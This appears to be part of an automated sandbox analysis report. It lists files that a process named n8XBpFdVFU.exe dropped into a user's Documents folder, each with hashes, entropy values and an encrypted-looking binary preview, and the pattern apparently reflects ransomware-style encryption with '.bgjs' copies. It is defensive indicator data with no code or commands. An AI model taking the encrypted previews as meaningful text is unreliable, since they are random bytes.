SHA-512:	85256AB03AE7F1444FF5550D5F711D6AE06B7D7E7083FD0F93D1A5E5E2425BF13DB024571078E6C56A3C330FB2B05EB61E072E4B43263057FB54D4B1951FBABB
Malicious:	false
Preview:	ONBQC..z=...=f./9\|.zh.g......:)..=.IZ).`.~.Dv...V.<f......H.Y....Y.T4P.p.....A....-m.+...5..O.=9.K?.k.e0.3yR:4......._.....A,.....n.....ZQV..e%.n(..'Y...{.l.].6....D...%.b'.S.......?D.....=._.x...$..3.#0~.u..{ye.......^.:Z.$..7...Y..;..7@.I9.....).Bt..../.V..........P.....k}..y.9m.K. .1..D.n...PB.(w..X.Z{..Be.y.F.0.... .A..tY.6.\|..........Y..&...q.......yi...f.b....:...<.....Z..........:Y..s.eza..:z..\|.D~..,^.....z.c...A. ..d....B...?..Dw"..C%..../...`.NO.D~.2 .'vG...>!ZiK...F......m....~.?...&DBE.o....7.......1.....Jh.F..p.[..E..,.......@...v.......c.3...(..s......M...8.`......,..Y?.,&!s.).5......u.[..x\........1.ssLv.7.fv7.E.Q>Fw..r1.yE)l.3.4.....jZ.."J._.uc.....0.'pA.O...M..u).Dh..S.......c{W.....`.~;.WY.K...E..JU.g..y.he..7.IS]%m.9...2..[......~.7kA.6..7YB.....E.ya..l.".......3.2.....:...rj..z,.&...6n.z...u...A..U.n.6....6=.<....B....XD...H....)k...5.;)O...$..w+n..M_.]..l..,.!s.+.....1.....9.$K..u.w.V.4w{....F.#.Z.K..NM.Q*...o.f.w..

C:\Users\user\Documents\DTBZGIOOSO\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852561211963052
Encrypted:	false
SSDEEP:	24:0mJx43VLabfC2uaUu64zia4HGHdxPTYPPsP0GADfqoOw/23cvsbD:0mJxGf5aFHdpsm0Oxi23emD
MD5:	5FB6C607CE0B65EE6E4BD0842448DE29
SHA1:	CA2F1AC2D0514D937EBF56895FBB68AC96CFEFBC
SHA-256:	F1F6C8E2B236677F7482F47BE69816BFE56B48AA040601C0CF50BFA0FC25D7CE
SHA-512:	E94968AF9E33FBD4740B7223B06BDB28E0F0DC83AFE9EE13896EF2C16EBED4194CFA626F658A493BB73B0BF6F0BC997923E7257FD163B8B2B38CA2071F1E7AB7
Malicious:	false
Preview:	VLZDGw.Wh...rnU....)2d..Rl#z[.=..H..t.k.fAi\|}9.Pj.UI.( ...M.\.W.N...l.H..\|J..J..g.F...r...>N...4...k.".......ltn2...D.'I.K.:.q...i..,r../....r.I.6....G.N...b....TW......W@..8.y?.. W9d..9s.x.;..E....-..4:.zh.)~^..S...T.L...-F.....RJ....2.n.m...a...Um...J)K..........;..D..Y......$"M#......;...S..$.f.P....?Tc.......Sk..L..E.%..6.wA...(./.#.{..x..2.Cs..z.1.G.F_...i3.28.........W....N.M.?..d.d,..d.A+.`u.......QY.._l...1...8fi.U..D{.1.r..7.6.._.<=.......Qm/..).....&...X...`.Z.-.u\|7.{.!..m}x.0.ht..F.a<....K_Eu.........}K......V?'.#.e&....C.T.....w..]\......W.9.rOd..03<.8.....$......s..<..7[......r......})yo...\...@...&.$'c.@.+..;.(!..._....5.<26....dz. ........7H..j.x....RY..DV~.{#.V.h...p.0E./w..J(..?>85Y..C.}G.......+.X#K...&8..P........z-.4..s..\3_9F...<.bp.$z.-cA.:...C.....~@_..MY....A......v'u.99.5y...F...W.<u..f0.....Q.\|N..IR2.#1....z..A....7....Q....b.\i.?..!%.....tm6.....?..W...b.C....6..w&5....=.g.^.Y.....N..+.}...........E.Rf.?<...(.2

C:\Users\user\Documents\DTBZGIOOSO\VLZDGUKUTZ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852561211963052
Encrypted:	false
SSDEEP:	24:0mJx43VLabfC2uaUu64zia4HGHdxPTYPPsP0GADfqoOw/23cvsbD:0mJxGf5aFHdpsm0Oxi23emD
MD5:	5FB6C607CE0B65EE6E4BD0842448DE29
SHA1:	CA2F1AC2D0514D937EBF56895FBB68AC96CFEFBC
SHA-256:	F1F6C8E2B236677F7482F47BE69816BFE56B48AA040601C0CF50BFA0FC25D7CE
SHA-512:	E94968AF9E33FBD4740B7223B06BDB28E0F0DC83AFE9EE13896EF2C16EBED4194CFA626F658A493BB73B0BF6F0BC997923E7257FD163B8B2B38CA2071F1E7AB7
Malicious:	false
Preview:	VLZDGw.Wh...rnU....)2d..Rl#z[.=..H..t.k.fAi\|}9.Pj.UI.( ...M.\.W.N...l.H..\|J..J..g.F...r...>N...4...k.".......ltn2...D.'I.K.:.q...i..,r../....r.I.6....G.N...b....TW......W@..8.y?.. W9d..9s.x.;..E....-..4:.zh.)~^..S...T.L...-F.....RJ....2.n.m...a...Um...J)K..........;..D..Y......$"M#......;...S..$.f.P....?Tc.......Sk..L..E.%..6.wA...(./.#.{..x..2.Cs..z.1.G.F_...i3.28.........W....N.M.?..d.d,..d.A+.`u.......QY.._l...1...8fi.U..D{.1.r..7.6.._.<=.......Qm/..).....&...X...`.Z.-.u\|7.{.!..m}x.0.ht..F.a<....K_Eu.........}K......V?'.#.e&....C.T.....w..]\......W.9.rOd..03<.8.....$......s..<..7[......r......})yo...\...@...&.$'c.@.+..;.(!..._....5.<26....dz. ........7H..j.x....RY..DV~.{#.V.h...p.0E./w..J(..?>85Y..C.}G.......+.X#K...&8..P........z-.4..s..\3_9F...<.bp.$z.-cA.:...C.....~@_..MY....A......v'u.99.5y...F...W.<u..f0.....Q.\|N..IR2.#1....z..A....7....Q....b.\i.?..!%.....tm6.....?..W...b.C....6..w&5....=.g.^.Y.....N..+.}...........E.Rf.?<...(.2

C:\Users\user\Documents\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860875336555272
Encrypted:	false
SSDEEP:	24:UfqKaawSvmV6qaJW/jLfIIv5byB7xsJvtzdrdO1truO3xAZU6DpbnksAbD:Ufq0JG6qqwnfIIv5y4v9XMtdqSD
MD5:	1FAE855AB404E8092CD80F9C2E103A27
SHA1:	716CC33757A079B36A550E0C96D68D2F3AF22329
SHA-256:	A9A80F6A76C0074679B3AA4F7DC6144B5B1A962D10A6CAB3560A580BDE7A21A5
SHA-512:	93CA6B27784AA1567B5DE07D141ABED8BE3560ED9AA495475334FCF71B46AF6D145D0C4E2206BCAF77F501A6899F1A0235176B026234AC6B7D2F56D8697FF086
Malicious:	false
Preview:	KATAXu'.UA..)L.k....L4#..........^.Y....s@....O/%=....+.....s.0[..s..;.:7..(~X^S\.^...z."...o.L....oE.p@.M...8...`..~:.<w(.....#.>t.@t{...y.}.A..r......@...x......E.u.D.Q.1T!..`J.D...%...b..5K......@@.nX_.<[...t=n....._r.e.g..Y.C.<.u.......w..V..8..3.l......W.k.....,.._......7..S.....;..#KcR.1U....%.c..T[@..Xh.......:s$>...._.4..<.J....R....1...AW1.I.}..7^.1o.....$)...fV.#....v..o_....R.."N....{^9.&_.......i=<.l.....9....Za....Y7>7....v.,.!N.....J..[.0.........#....y.....o....N[..C..+j..x.I.\.$u .$.....(.........3s..}.....0.Bl_...YD.....0..a...S.Cy"~3.b;t..2.c.s.#........X..@@/(O.@.d.}.IR....hr...pQ...Y!.:...h.X.Q.Ut...L.A.....}.3x!Ts.Y...@p.H..].`"B.T...3'.R...7....j..z....;......@.A/W7.....x..mf..*..H'.qR..^u...x.C..`#q.........#6.............o....E>B<.....d.'t....%B...`..hI\|..7Q..z1...H.....~4.`v]..4..t....T2.t.....e.....M.,.......H...i.c.Y(.~..X"9.3^...v}.......J;`oIx.. Y.M.a..x...z...T.._...mA..M..p..r.5.Kq.....a.)S.w. .z.g.^.zH..

C:\Users\user\Documents\KATAXZVCPS.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860875336555272
Encrypted:	false
SSDEEP:	24:UfqKaawSvmV6qaJW/jLfIIv5byB7xsJvtzdrdO1truO3xAZU6DpbnksAbD:Ufq0JG6qqwnfIIv5y4v9XMtdqSD
MD5:	1FAE855AB404E8092CD80F9C2E103A27
SHA1:	716CC33757A079B36A550E0C96D68D2F3AF22329
SHA-256:	A9A80F6A76C0074679B3AA4F7DC6144B5B1A962D10A6CAB3560A580BDE7A21A5
SHA-512:	93CA6B27784AA1567B5DE07D141ABED8BE3560ED9AA495475334FCF71B46AF6D145D0C4E2206BCAF77F501A6899F1A0235176B026234AC6B7D2F56D8697FF086
Malicious:	false
Preview:	KATAXu'.UA..)L.k....L4#..........^.Y....s@....O/%=....+.....s.0[..s..;.:7..(~X^S\.^...z."...o.L....oE.p@.M...8...`..~:.<w(.....#.>t.@t{...y.}.A..r......@...x......E.u.D.Q.1T!..`J.D...%...b..5K......@@.nX_.<[...t=n....._r.e.g..Y.C.<.u.......w..V..8..3.l......W.k.....,.._......7..S.....;..#KcR.1U....%.c..T[@..Xh.......:s$>...._.4..<.J....R....1...AW1.I.}..7^.1o.....$)...fV.#....v..o_....R.."N....{^9.&_.......i=<.l.....9....Za....Y7>7....v.,.!N.....J..[.0.........#....y.....o....N[..C..+j..x.I.\.$u .$.....(.........3s..}.....0.Bl_...YD.....0..a...S.Cy"~3.b;t..2.c.s.#........X..@@/(O.@.d.}.IR....hr...pQ...Y!.:...h.X.Q.Ut...L.A.....}.3x!Ts.Y...@p.H..].`"B.T...3'.R...7....j..z....;......@.A/W7.....x..mf..*..H'.qR..^u...x.C..`#q.........#6.............o....E>B<.....d.'t....%B...`..hI\|..7Q..z1...H.....~4.`v]..4..t....T2.t.....e.....M.,.......H...i.c.Y(.~..X"9.3^...v}.......J;`oIx.. Y.M.a..x...z...T.._...mA..M..p..r.5.Kq.....a.)S.w. .z.g.^.zH..

C:\Users\user\Documents\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852634127862068
Encrypted:	false
SSDEEP:	24:gge8NHYoeBsLb0Vdf03eUjkJOTcUG1k1CaSxX1vIrdFrlUh9qtoPcSjbD:ggeTof03f0uUsV61Ca8VlD
MD5:	7D8BDF9D599612F7F578C028E784B448
SHA1:	0A12AFBB7B9C64A39A8181759DB3B51F37D42099
SHA-256:	629B496CBF5B6865C13EBE046923912A8990356F5A9D841E8BC1CEE3498EC135
SHA-512:	0455C7AAE6CBFD0A55E07E42DA2675C3937769AD6466030262B1E9D36C8BB4D5CF484D1886E0E739D1EEBD0D797CF05A0E5B5E5355BF28F43F5583E9E1DBCDED
Malicious:	false
Preview:	KATAX.I...=....A..43....`...c.)XKz....w({...Mv.!....{.z....W.%%5..H.2...q9....wQl.#Bw....a..[.H.....g..]..x#%.e.g.....A.\|e'.(..T...m.........6...X..K7\|....r..R.....(.6.i..v`. tf4p~..........7...Sm<...7........C.e.Z..`......K...}...t8..@..N..O..Q..p.....m..t......0ar4."..K\|..%.}S...J....H{..k...E..U.c..i;.A.......g.Z.-&.b....b.?g.H9.wOj.....=L.....XP&.$....xH.g.I.E.j..!V...uR.x.../..K.V.#..[c..a3........($ ..+..8s..\|z....6..L..8.Z{l.`.t.c...0.(...S..Rkk....}F.?....>7.d[.~.~......c.t..$G~..rq.#V....L..F.YP.41{zC).l..ir.....:x.JM....$T..lmy......Ki.!..6.7.._....<.\.y../....X......:.e..!....@c.V..0..n}G...d.n....f$..+....t?1..g.a;....[.n....f...."...O6Y.7...C.f.....F... ..n...~.op.1...X3......`....v..>E.^.DZ..T...`z..V{....f...K.<...\..?~.C.f..:.G..Dg.....%..MxL.&....$.L....J?W..E7w.e.."...'...h...\|.o..WF.2..s...&..2.c.^......gp,..%..E ...7.s<.9.N...v.I-....R<..o.._..r..H.Xw.1C.1?..CY....X-.6...![0.=.G_L..}.,bEyb..o2y...z.+.......

C:\Users\user\Documents\KATAXZVCPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852634127862068
Encrypted:	false
SSDEEP:	24:gge8NHYoeBsLb0Vdf03eUjkJOTcUG1k1CaSxX1vIrdFrlUh9qtoPcSjbD:ggeTof03f0uUsV61Ca8VlD
MD5:	7D8BDF9D599612F7F578C028E784B448
SHA1:	0A12AFBB7B9C64A39A8181759DB3B51F37D42099
SHA-256:	629B496CBF5B6865C13EBE046923912A8990356F5A9D841E8BC1CEE3498EC135
SHA-512:	0455C7AAE6CBFD0A55E07E42DA2675C3937769AD6466030262B1E9D36C8BB4D5CF484D1886E0E739D1EEBD0D797CF05A0E5B5E5355BF28F43F5583E9E1DBCDED
Malicious:	false
Preview:	KATAX.I...=....A..43....`...c.)XKz....w({...Mv.!....{.z....W.%%5..H.2...q9....wQl.#Bw....a..[.H.....g..]..x#%.e.g.....A.\|e'.(..T...m.........6...X..K7\|....r..R.....(.6.i..v`. tf4p~..........7...Sm<...7........C.e.Z..`......K...}...t8..@..N..O..Q..p.....m..t......0ar4."..K\|..%.}S...J....H{..k...E..U.c..i;.A.......g.Z.-&.b....b.?g.H9.wOj.....=L.....XP&.$....xH.g.I.E.j..!V...uR.x.../..K.V.#..[c..a3........($ ..+..8s..\|z....6..L..8.Z{l.`.t.c...0.(...S..Rkk....}F.?....>7.d[.~.~......c.t..$G~..rq.#V....L..F.YP.41{zC).l..ir.....:x.JM....$T..lmy......Ki.!..6.7.._....<.\.y../....X......:.e..!....@c.V..0..n}G...d.n....f$..+....t?1..g.a;....[.n....f...."...O6Y.7...C.f.....F... ..n...~.op.1...X3......`....v..>E.^.DZ..T...`z..V{....f...K.<...\..?~.C.f..:.G..Dg.....%..MxL.&....$.L....J?W..E7w.e.."...'...h...\|.o..WF.2..s...&..2.c.^......gp,..%..E ...7.s<.9.N...v.I-....R<..o.._..r..H.Xw.1C.1?..CY....X-.6...![0.=.G_L..}.,bEyb..o2y...z.+.......

C:\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825704108080681
Encrypted:	false
SSDEEP:	24:p+ueBw6mDihPIwrGpJ/avwM0QlDob2yiACo+I7RVkyyZzQ6JdGjXEURy+HbD:QjBw6dPyiYSl8bCfoX7RVIZzQ9jLP7D
MD5:	AD9F3586DB865C0376A07023535DEE0F
SHA1:	5D0648F5B663BE88DA2826DC5E5C64276D3245DE
SHA-256:	CA8F160CCADD0C3435F0967F526A8EF953DCE77365315C1220625E408454C6D1
SHA-512:	55A3C2EDF5F3E0816050F13160FA4FC618BB809FAF41F33B73469DB33EB04A9570AAD81681ED50E25C8EDEC6BF7954EE699C7409FA277D1C84B64F6DEFDC6F8A
Malicious:	false
Preview:	ONBQC..\|..k....:<5.e......<\|Mz....9>.O..^d.........@".C..p..vZ....{.1...BdD\|S.(l~.d.t..E.r........K...%..(...`.Y......=.I97....+rf.6..G.q0...H:.%....~]...:...mZw.....".bZl..;\|.9."\.Ex..E..UJ`.....5 :{.W.=s..........P......:...:.g.}...%@....f..\...N..._M2...\|....`?.N..iD..{.H..].........;AO...+.1.X...e...;;Y.>j..o./...X.w.>..."Rc.5w;.@D_.......\|U..h.1..i:..+t.QA...oi6......j...fP.r.B%.+..fp.....(.GR....z.<4..:..SJ.C.89.j.....OK.H2h.......Z.bm.$^..l..'7..G..s.kp..)g....Z.l./.c.>(y,..S.r3@H...,F:RA..k...U&...jhY.o...[?............3.[..0..l#F....kr..6r.hy^M...,:...2..}W.).m.~P?AC.U@V.>.cdE........t.Hd..0.c...k^...y..e.CA....a.wyv.U.yT..F.3.;.....N.....h..V......_......3!....EeD_...\|\|.S.0. ._..B.P.M........0_.k..@2<..l.}x...l....E...^v_&._...........w.I.S6.T..j..K.BY..38...=..>.W..p4.ks..Y.!.3/..5..Z..).7..*..M.q...+R:l.s......'.PB......q..b.W.5..l..D.a.b....b.0..P..@I.9.....2Z01T..$.=@....{........}:.z..c..}..dX..._..'@.......>........O..r...

C:\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825704108080681
Encrypted:	false
SSDEEP:	24:p+ueBw6mDihPIwrGpJ/avwM0QlDob2yiACo+I7RVkyyZzQ6JdGjXEURy+HbD:QjBw6dPyiYSl8bCfoX7RVIZzQ9jLP7D
MD5:	AD9F3586DB865C0376A07023535DEE0F
SHA1:	5D0648F5B663BE88DA2826DC5E5C64276D3245DE
SHA-256:	CA8F160CCADD0C3435F0967F526A8EF953DCE77365315C1220625E408454C6D1
SHA-512:	55A3C2EDF5F3E0816050F13160FA4FC618BB809FAF41F33B73469DB33EB04A9570AAD81681ED50E25C8EDEC6BF7954EE699C7409FA277D1C84B64F6DEFDC6F8A
Malicious:	false
Preview:	ONBQC..\|..k....:<5.e......<\|Mz....9>.O..^d.........@".C..p..vZ....{.1...BdD\|S.(l~.d.t..E.r........K...%..(...`.Y......=.I97....+rf.6..G.q0...H:.%....~]...:...mZw.....".bZl..;\|.9."\.Ex..E..UJ`.....5 :{.W.=s..........P......:...:.g.}...%@....f..\...N..._M2...\|....`?.N..iD..{.H..].........;AO...+.1.X...e...;;Y.>j..o./...X.w.>..."Rc.5w;.@D_.......\|U..h.1..i:..+t.QA...oi6......j...fP.r.B%.+..fp.....(.GR....z.<4..:..SJ.C.89.j.....OK.H2h.......Z.bm.$^..l..'7..G..s.kp..)g....Z.l./.c.>(y,..S.r3@H...,F:RA..k...U&...jhY.o...[?............3.[..0..l#F....kr..6r.hy^M...,:...2..}W.).m.~P?AC.U@V.>.cdE........t.Hd..0.c...k^...y..e.CA....a.wyv.U.yT..F.3.;.....N.....h..V......_......3!....EeD_...\|\|.S.0. ._..B.P.M........0_.k..@2<..l.}x...l....E...^v_&._...........w.I.S6.T..j..K.BY..38...=..>.W..p4.ks..Y.!.3/..5..Z..).7..*..M.q...+R:l.s......'.PB......q..b.W.5..l..D.a.b....b.0..P..@I.9.....2Z01T..$.=@....{........}:.z..c..}..dX..._..'@.......>........O..r...

C:\Users\user\Documents\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835113295201594
Encrypted:	false
SSDEEP:	24:++1TGNoezEm/1I4gboyrZOr5OmOoHdj8OzOAkt5hk7v7YSDbD:TTir9zgBoHd40knhkLD
MD5:	8A41D6F1D987AC3618C8975D7AD46B2B
SHA1:	961050D3314326D2B2D704EF9296E83783C48724
SHA-256:	E3841F14DE60599C053F3A1C52C7990AB257EEE6990C153673E3508A9EABCAC6
SHA-512:	AC36612BE8B749A70A9FE2C21DCB298152B42BEFB92134F6B203373DBB911BD96D6F7D3CB6AE29B4651C0C7BD5115D5D1055F5E5FFA344EDCC961C3B77775AD4
Malicious:	false
Preview:	UMMBD.p...R...%.a1.....7....#..n..[].%V\|.e.Bil_6.mgmSrx..zw.oU3.}E.:.6.....sB3M.].....t......2%..+.W^.=.......t. .P..B..zz_.a...?......Xk...c>...6.......\|.`~g.J..$PO....6.S$.......1y-..L.....0.T4...6....\...>k.j#...w...e'..pB......".q..0[c#d9...RNJ.+..\...bi.E.W...v.y.......1.xrq.......K21.../OD.\../..pP<...i..)...t.C.t.Fnd..{7.).m.].G.;.....Z.]..r#..'.T.-..8.XF..B@.b......!2.j.l..6.^..=..........y..#..r6NysA...8h....3V...+{.J........\F...+.CZ.5n.. .Jt....J..y.....&...b..=....%...l.....u4...bt.....7.D.Vr.@.....w..P<..y..F%6..N~...1..8.$....?...74.j...........iia..^.].3.6..mcC$.wS. .\0.V.}D{..tF.T.W.O.`....#`..........I..I.t+/.......C{0R........p.T.w...,i.(....?.WU2S_2b.9...Y...K....3...aW-i.&.G.0...2..6:..n.....Q..;T%7"@OD..a.0y.HG.f.1.z.I..J.d.....8i..._sWe.R ).R....m6P..9...5......$.Q.........X.Fc.. R.g...E&.....EtR(.Q....<,..../.m.7..m.2?e.`.\...X.uF..K!.P..Qq...m.)...S..X......=..1..eT.O..9.C..+gp.'......g;.wM....\|

C:\Users\user\Documents\UMMBDNEQBN.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835113295201594
Encrypted:	false
SSDEEP:	24:++1TGNoezEm/1I4gboyrZOr5OmOoHdj8OzOAkt5hk7v7YSDbD:TTir9zgBoHd40knhkLD
MD5:	8A41D6F1D987AC3618C8975D7AD46B2B
SHA1:	961050D3314326D2B2D704EF9296E83783C48724
SHA-256:	E3841F14DE60599C053F3A1C52C7990AB257EEE6990C153673E3508A9EABCAC6
SHA-512:	AC36612BE8B749A70A9FE2C21DCB298152B42BEFB92134F6B203373DBB911BD96D6F7D3CB6AE29B4651C0C7BD5115D5D1055F5E5FFA344EDCC961C3B77775AD4
Malicious:	false
Preview:	UMMBD.p...R...%.a1.....7....#..n..[].%V\|.e.Bil_6.mgmSrx..zw.oU3.}E.:.6.....sB3M.].....t......2%..+.W^.=.......t. .P..B..zz_.a...?......Xk...c>...6.......\|.`~g.J..$PO....6.S$.......1y-..L.....0.T4...6....\...>k.j#...w...e'..pB......".q..0[c#d9...RNJ.+..\...bi.E.W...v.y.......1.xrq.......K21.../OD.\../..pP<...i..)...t.C.t.Fnd..{7.).m.].G.;.....Z.]..r#..'.T.-..8.XF..B@.b......!2.j.l..6.^..=..........y..#..r6NysA...8h....3V...+{.J........\F...+.CZ.5n.. .Jt....J..y.....&...b..=....%...l.....u4...bt.....7.D.Vr.@.....w..P<..y..F%6..N~...1..8.$....?...74.j...........iia..^.].3.6..mcC$.wS. .\0.V.}D{..tF.T.W.O.`....#`..........I..I.t+/.......C{0R........p.T.w...,i.(....?.WU2S_2b.9...Y...K....3...aW-i.&.G.0...2..6:..n.....Q..;T%7"@OD..a.0y.HG.f.1.z.I..J.d.....8i..._sWe.R ).R....m6P..9...5......$.Q.........X.Fc.. R.g...E&.....EtR(.Q....<,..../.m.7..m.2?e.`.\...X.uF..K!.P..Qq...m.)...S..X......=..1..eT.O..9.C..+gp.'......g;.wM....\|

C:\Users\user\Documents\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856606950647979
Encrypted:	false
SSDEEP:	24:RVuCBlP5pw5qhnAh4lnLM3jsDB+JbgBuc5SGNt1Co5LS2a+V7xON2sP8iDbD:Rpzv7nLlL1V+JiEGNt1/c2aUqZ8sD
MD5:	A49117ABA7F795DEA611DBAE15404876
SHA1:	3BCA567ADE3FC73A1092317B9FF1105E4E63D026
SHA-256:	7E37DD07057124D9ADA6325670873C66ACE8AA541D811E6D772F32E40AB63EE5
SHA-512:	5ACB8392E6E807B094A302EEEB6AF298CDFEA1D0228B3223F24841C49282538756872041E3C06C76EE4529569BADA56509D02EC6A6B9F65D898AC5E821A8E38F
Malicious:	false
Preview:	XZXHA......Kje...=.j.0.5.]...\U..6.XL=...,;.IS....$..#A..BnH...0....F..o..2.\.2...Y.J..0.. e....o..h....O..m,g..1..Z.y?....q..+.J7.4.I..+#4..[..{.+...)k.y.Ez....Ss.".I.b7.j3(...~.;.".[.'....D....',.!..^6...\|H...}....8.Z].L..3.J....Z..J...T...!.1.C..~.i.}M[....?.)....od......tQ..........lz...>\|.).Lz...;}..q...#51.M.r.[.v....fG..,@.."..bR[w.....,W..y.@.I........6w.-.......T.p.;......7h.h..C.A8..?.C..+...-.i.H...R7..`.!`.".?..W..V.q.2.U.<I]#..:....rw+].Bw]w.+.....I.....\|Y....\.7z.8.p......Z......Z.;f...\...+l...U#A..MhE...%.(.z$;.q)O.j.....}q&H8.G.jE...0.x./+.....t&...U[a...m.$\.g9.Ux...c.y...z..{~.N..=._:...!E3.......5....2R.....-\#)....]\.....i.3fYN..q.$..i.....>]i.M...>........?.M5.@.`..J..a...N'.r..z.,.....cc....pn.t_..;...8..Wa...tf2.....M.wFS&@#..A.5WG..S..}.$c[.@<...Ohn.....u.hz...1....c.(.6...`......=.0...9..mg.......l9\\}l.l.L.\|.......+...@...@H....t......MJ..v.C#.r.2...<XD.$..xm....`.W..J.......cE../.g.9....8.;+.'N.".3

C:\Users\user\Documents\XZXHAVGRAG.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856606950647979
Encrypted:	false
SSDEEP:	24:RVuCBlP5pw5qhnAh4lnLM3jsDB+JbgBuc5SGNt1Co5LS2a+V7xON2sP8iDbD:Rpzv7nLlL1V+JiEGNt1/c2aUqZ8sD
MD5:	A49117ABA7F795DEA611DBAE15404876
SHA1:	3BCA567ADE3FC73A1092317B9FF1105E4E63D026
SHA-256:	7E37DD07057124D9ADA6325670873C66ACE8AA541D811E6D772F32E40AB63EE5
SHA-512:	5ACB8392E6E807B094A302EEEB6AF298CDFEA1D0228B3223F24841C49282538756872041E3C06C76EE4529569BADA56509D02EC6A6B9F65D898AC5E821A8E38F
Malicious:	false
Preview:	XZXHA......Kje...=.j.0.5.]...\U..6.XL=...,;.IS....$..#A..BnH...0....F..o..2.\.2...Y.J..0.. e....o..h....O..m,g..1..Z.y?....q..+.J7.4.I..+#4..[..{.+...)k.y.Ez....Ss.".I.b7.j3(...~.;.".[.'....D....',.!..^6...\|H...}....8.Z].L..3.J....Z..J...T...!.1.C..~.i.}M[....?.)....od......tQ..........lz...>\|.).Lz...;}..q...#51.M.r.[.v....fG..,@.."..bR[w.....,W..y.@.I........6w.-.......T.p.;......7h.h..C.A8..?.C..+...-.i.H...R7..`.!`.".?..W..V.q.2.U.<I]#..:....rw+].Bw]w.+.....I.....\|Y....\.7z.8.p......Z......Z.;f...\...+l...U#A..MhE...%.(.z$;.q)O.j.....}q&H8.G.jE...0.x./+.....t&...U[a...m.$\.g9.Ux...c.y...z..{~.N..=._:...!E3.......5....2R.....-\#)....]\.....i.3fYN..q.$..i.....>]i.M...>........?.M5.@.`..J..a...N'.r..z.,.....cc....pn.t_..;...8..Wa...tf2.....M.wFS&@#..A.5WG..S..}.$c[.@<...Ohn.....u.hz...1....c.(.6...`......=.0...9..mg.......l9\\}l.l.L.\|.......+...@...@H....t......MJ..v.C#.r.2...<XD.$..xm....`.W..J.......cE../.g.9....8.;+.'N.".3

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8810907691308065
Encrypted:	false
SSDEEP:	24:mzF9Wd4ErgRLmha6bFwq4MlLjgPBex8SdhMLck4wm1mNbwhEaibD:Q9dErgRSxdDjgP4x82O1JhD
MD5:	1441A9E21E0141520AA0A57105A7844A
SHA1:	343AC96E77BA1C13D27E7B3545715B0C1F82D483
SHA-256:	48E0871876BA19BFF37A86E4433098C7D95BD30E0D952CBDC8A9DE5EEE41AB6C
SHA-512:	9EB82773F7CF73700A825AAB617928DE7FB1142222B31818389BBB377E3C4E39B9885EE28E24FDE4435FF7C819D6130DCE578CE4B9AD326EEC476B84AA7D10A6
Malicious:	false
Preview:	NWTVC1..6+..`..S.].'..........K..'.. .Y..#.....{\yVq...<#8+v..D....].NW5..........:......T...w{.o....W.U/N.Q.T.F...>..".,eC../....%..mq.W;1. ...[H.f.).M...(\..A.k4..Y..l..i..r..:7.h..J?....9.E.+....z....I..y.u.]..(...\..v...l..V..~JEA.g.....+E..y.T.....aL.:....y.....\11...l[v9..Z?.x\|..i.=.R.?...Gu..>....Z.Q...I.y.......M.$.g...j....F...\#50.M.T.(.n.)../<....../....}.6....tF..Q........p..4....'..?.sA\|LD4.5K..)......{....^..rR.J......... .dsU......lb...M.J...@.C...U\.z....7L.0......&.2F.,.[]\....Y..t....2.....]&.QL...._.t.....[@f.....v..\3u8..$C......u..Cf.dy.C\...I.H.....:....l...RH..^..f.._....;..c?...\..\..\f<.9..3....r1k..S.?)....S...'X.. ..1..Y....[p?.o-.t.......#@ ..f...B{.5.7@.<.0,`*.y..Ic.../.....5. .II..B..b.....V...J.j.........S..o.....K8......:.... ..........^....cu..U.)n.i.X]B......C....V../4W..m%.R'y.............~V}....b.....}....=(...."j..& 